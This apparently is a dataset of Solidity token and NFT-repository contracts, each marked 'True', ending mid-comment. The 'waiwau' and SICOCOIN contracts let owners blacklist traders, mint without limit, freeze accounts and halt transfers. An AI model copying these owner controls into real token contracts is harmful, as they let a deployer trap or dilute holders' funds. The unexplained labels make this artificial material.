[19979811476242794509259443836993614914710195886498444653415885421187120770092,19979811476242794509259443836993614914710195886498444653415885421187120770092,19979811476242794509259443836993614914710195886498444653415885421187120770092,19979811476242794509259443836993614914710195886498444653415885421187120770092,115792089223864198890768380591662894438186821256699964762086895162636833398801,65133049806018942380223331844641057808121140657636963138901203749057301839633,61966859865936077661610062723949154798705639141405999715782976644424138751985,61740925160193231997394006321195138821237986595961390476328565530492856696831,59258304496795925893472372333398290094604860555782568707998911455683032605539,1362259878137828181686879829054336167969868222962286688270119451726467785571,1362259878137828181686879829054336167969868222962286688270119451726467785571,1362259878137828181686879829054336167969868222962286688270119451726467785571,88546891773518494850802625203745168419442410046991533776073323121317790335939,88546891773518494850802625203745168419442410046991533776073323121317790335939,88546891773518494850802625203745168419442410046991533776073323121317790335939,88546891773518494850802625203745168419442410046991533776073323121317790335939,96757552338148593647077274121822626729813036578126139319299232476909858886962,96757110633241222454304254532781198104642057877719357328231644524971734389397,77044874875493350729154060275334998516855169142227206964750387722314920924404,82707585220350790241264647625471055497499704655970160207265755193349896904511,38597363088092047361456891603833756204644522316123744990387659934379341949610,38597363088092047361456891603833756204644522316123744990387659934379341949610,38597363088092047361456891603833756204644522316123744990387659934379341949610,38597363088092047361456891603833756204644522316123744990387659934379341949610,104894010247736438423203403463604903237741586013289676541222668383287195726835,103084731140052571123887624834109786334600773540576237427408053128757173810163,104894010241915766117649320094351277401863603237125493999608242368427585692643,104894010247736438424866521736358387676046430114980963969639367037228409943027,54497059636699725480975186465163311506620929174016561062715047988794074072070,54497059622744919430747998345245069450804879553175924692007321017167838713868,7251168135284141926224957092858318931688124728482815329624708693921846017567,14502446674820955700738918226384032871538529429059579130193950420049575444287,5455997425036482982526989059027052922269248762021556889585777925311466308403,44213591495777020634963408490920910425566321941979600642170215232858476766460,13660905850524317472240786831406629854724845916292574263340998363908990302388,42771733527217639556713506517902800469066387193365070312004200063490452455678,107657532346763898014387095134561774864727691579852011257847619951719497512192,9710757111049538595057616879824848069286947698809273008233377251851302920,86957918476172166089369366501432681584442582059855310916508563777921696661514,39238139754400516385416505121996019586908576120761349232245730462954915299712,196159335763236906621037967075632107089578566727682228512,4086945882131706632066104928255163691538382649480221747962765743213022019872,4070823402661845246948519476531083035619289743250302513055142782424133402656,3618503652226922990218939072540673538816258990917759750464374451619183460352,392318765018334049167567481937734318595471734702623232520,7351975085368360720976713382968565440515136959691490402801040137601488519176,7689322094258585147301669970377220903722011766472435126749322623606333636744,7689322094258585147301669970377220903720682526428708261031294462451507003392,353893661600311303353481778003652202710016,7308949384587210431541411576893069277187829610258005810967779580766576640,1809030538871166000292804666314881151345889875430906606109898055123847864320,1752491432587633118249603332425985824375990290372595748700981262815749734400,842495119570449812674303631926738350701514178466096995791125087216,1823276174691811136304304688199463387333045121485347312223298360326530040336,2044232133109466425098367021898848084458134513894739985047828277839522758672,1866674355732128710350789850815825463846844498021698209041613446875761868800,1809250532036021471976839165369057812762916841780264204910705789332001292424,4070819304766410752343671826418315583424383057457686365995585651055395864712,4070819304749953296338873261778687714430126689690523813537739726574292303880,3618503005188202827953142456502926941971892777926511275477284830802931089392,13693064755374910078648020375119595277942976499110355173989097505231470656,1869560579797240615283676677813965822912909080521703132511938900908361139264,1929868039375496561658281574538542471316426870720527970230949037575919387712,1929868039375496561658281574538542471316249643025328733858110741509216141184,19267255254594159914250240,28159125101461807477910964021323522115155898522592888920031658626286388992,1263778773824165141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} contract EveryIconRepository2 is IEveryIconRepository { function icon(uint256 i) external view returns (uint256[4] memory icon_) { require(i < 32, "Invalid icon index"); i *= 4; for (uint j = 0; j < 4; j++) { icon_[j] = icons[i+j]; } } uint256[128] private icons = [43592315949751976316353231991106360218151466789133828780105929933466416580102,43592315949751976316353231991106360218151466789133828780105929933466416580102,43592315949751976316353231991106360218151466789133828780105929933466416580102,43592315949751976316353231991106360218151466789133828780105929933466416580102,57214914681968002442963354496843431809352634497041095703009763514336380437443,69475253532557266118335842823375444819012492027125663257762788997488833980391,104894010246468561029662102868144054614283299068867256288516444258802914138521,88546891773518494853387314153919766727694703331676340777842480275904735903358,115791647552484024376361920162853417074203584676859217708688926001023740342392,88541980988860797304599605367070443547075799546525434196038791514889127519111,102122189816274694572520322557229989732549995376324561795598506236801888224195,13595995332522760245399896879342373116577558031153202553577120638980017618943,115522198171815305913786908624189602676545053907966189966194185020173075651708,104255013389963583313331530091131871752788729232247222634084563248643574987900,113638256050812975638391535583440141901258048624931875267824426169747306772961,74166040615257582528281741134526743454586580680756609224235951548395345405948,70670403690123155152088259607930043546268599694953709554881945946749315184655,45121685541244515780348011211832815878466212834906118709406365118543865968655,45121685541244515778963012425448642913710838932261827100187096923314658871280,70670403696071679644607972583239264939484064798741842711277403789921790064655,26146600786562716792939725593501607986782692013984681381630492948165735556169,26146600786562716792939725593501607986782692013984681381630492948165735556169,26146600786562716792939725593501607986782692013984681381630492948165735556169,26146600786562716792939725593501607986782692013984681381630492948165735556169,108779528045886577786551892388622151779971744905172327794015974167044064966631,108779528045886577786551892388622151779971744905172327794015974167044064966631,108779528045886577786551892388622151779971744905172327794015974167044064966631,108779528045886577786551892388622151779971744905172327793720826261967791355895,113982839566755616623021905749062226515960084092551651361684796503330777923064,6581604419174679694961097669507570307526784208576927332779740364800,56989648582797344090647114984009579507082972518085815048025868057871470493176,7122146284914910319030360239445024118200068082986360527541037933294943993919,12714425486361932256449751730422201325273231938977592447913769651198185032137,87638718517514773999920199406780930186746622798133531915537782529429690162332,12714425486361932256449751730422201325273231938977592447913769651198185032137,87638718517514773999920199406780930186746622798133531915537782529429690162332,88291285597069516383529425576516259170567198199568959607711132755370585003583,46270004374978291483772491651152943121972562795826623594944994307877579698947,87263402826830077323002548760657403350885796018601768111329726821571230028390,114176053195862429272091348905400187222489060367649900290633892228245768424643,87238570742529840027661768698902550132795213348481917131097701272993990166240,60665629197736034523966863289834244192415801920949626677261873877143780335363,54673729770892775457953717094649167696369520176834442974721792746727753630658,14374898818314935396520842068156332798221246675403311188381555685058966255856,86844066870697259874075121370584658415881495160582220383785565900311286088187,101207677636497499158693167819159858497160344872243576306830996979052864978939,86834128352586962544252299740160476116627528249839616999771169413665761887805,86733666536081962147904916907775196902328451214026311627448379056818495684603,25379861184589584860853685100581279262460700516593701790196424264903616101824,3180109037870150680242722182502717122332924388383942466467857075549620961276,340988057548334570268363380505140537496844797666609370979665201795568240639,101417076725519946868650257688098312165800894558461277400324349839954344378495,101325035257819449237527755611577111995958473492402161055006483237745362669086,12678557997310596095347949832525396640115979399041527877626884758687439679999,102270050433024343535831831761302312527063310630529972562808018814359428219,90011970118550371142262537548663753242193006226783502351368200611410469128140,43428224316144995313459728544271536367457532926713487694139059234736577198108,21753808212293008252856315906752621996317444334547890389386709978243540195342,5597537522142645315765037702627125835353547166955668274904716828506478108673,877129166889934927140201579552994751157938029405114782640795243541406161926,74491985679132216954267415882929993700017527184882491489070168852610591012478,115460542795782942521094223452639706865996911821517947425551010292919714596174,85158738444221350186985801436874312592513913604083676309625175040833601544881,23765982548789140178179924081376949910707845250469235990130469641874441707064,7286688180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} contract EveryIconRepository3 is IEveryIconRepository { function icon(uint256 i) external view returns (uint256[4] memory icon_) { require(i < 32, "Invalid icon index"); i *= 4; for (uint j = 0; j < 4; j++) { icon_[j] = icons[i+j]; } } uint256[128] private icons = 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} // SPDX-License-Identifier: UNLICENCED // Copyright 2021; All rights reserved // @title: Every Icon Contract (Repository Interface) // Author: @divergenceharri (@divergence_art) /// This file is the interface for the icon repository pragma solidity >=0.8.9 <0.9.0; interface IEveryIconRepository { function icon(uint256) external view returns (uint256[4] memory); }

True

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pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'RR' 'RRcoin Token' token contract // // Symbol : RR // Name : RRcoin Token // Total supply: 3,000,000.000000000000000000 // Decimals : 18 // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ---------------------------------------------------------------------------- contract RRcoinToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function RRcoinToken() public { symbol = "RR"; name = "RRcoin"; decimals = 18; _totalSupply = 3000000 * 10**uint(decimals); balances[0x6801c3f0BdCA16E0B3206b8c804e94F5d01cA835] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }

True

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/** * * * * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract waiwau is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"waiwau"; string private constant _symbol = unicode"WIWU"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 4; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private _noTaxMode = false; bool private inSwap = false; uint256 private walletLimitDuration; struct User { uint256 buyCD; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if (walletLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; walletLimitDuration = block.timestamp + (60 minutes); } function setMarketingWallet (address payable marketingWalletAddress) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[_marketingWalletAddress] = false; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[marketingWalletAddress] = true; } function excludeFromFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external { require(_msgSender() == _FeeAddress); _noTaxMode = onoff; } function setTeamFee(uint256 team) external { require(_msgSender() == _FeeAddress); require(team <= 4); _teamFee = team; } function setTaxFee(uint256 tax) external { require(_msgSender() == _FeeAddress); require(tax <= 2); _taxFee = tax; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }

True

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pragma solidity ^0.4.24; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract SICOCOIN is SafeMath { address public owner; string public name; string public symbol; uint public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); bool lock = false; constructor( uint256 initialSupply, string tokenName, string tokenSymbol, uint decimalUnits ) public { owner = msg.sender; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; } modifier onlyOwner { require(msg.sender == owner); _; } modifier isLock { require(!lock); _; } function setLock(bool _lock) onlyOwner public{ lock = _lock; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function _transfer(address _from, address _to, uint _value) isLock internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function burn(uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } function mintToken(address target, uint256 mintedAmount) onlyOwner public { uint256 _amount = mintedAmount * 10 ** uint256(decimals); balanceOf[target] += _amount; totalSupply += _amount; emit Transfer(this, target, _amount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function transferBatch(address[] _to, uint256 _value) public returns (bool success) { for (uint i=0; i<_to.length; i++) { _transfer(msg.sender, _to[i], _value); } return true; } }

True

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// SPDX-License-Identifier: BSD-3-Clause pragma solidity 0.6.11; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev 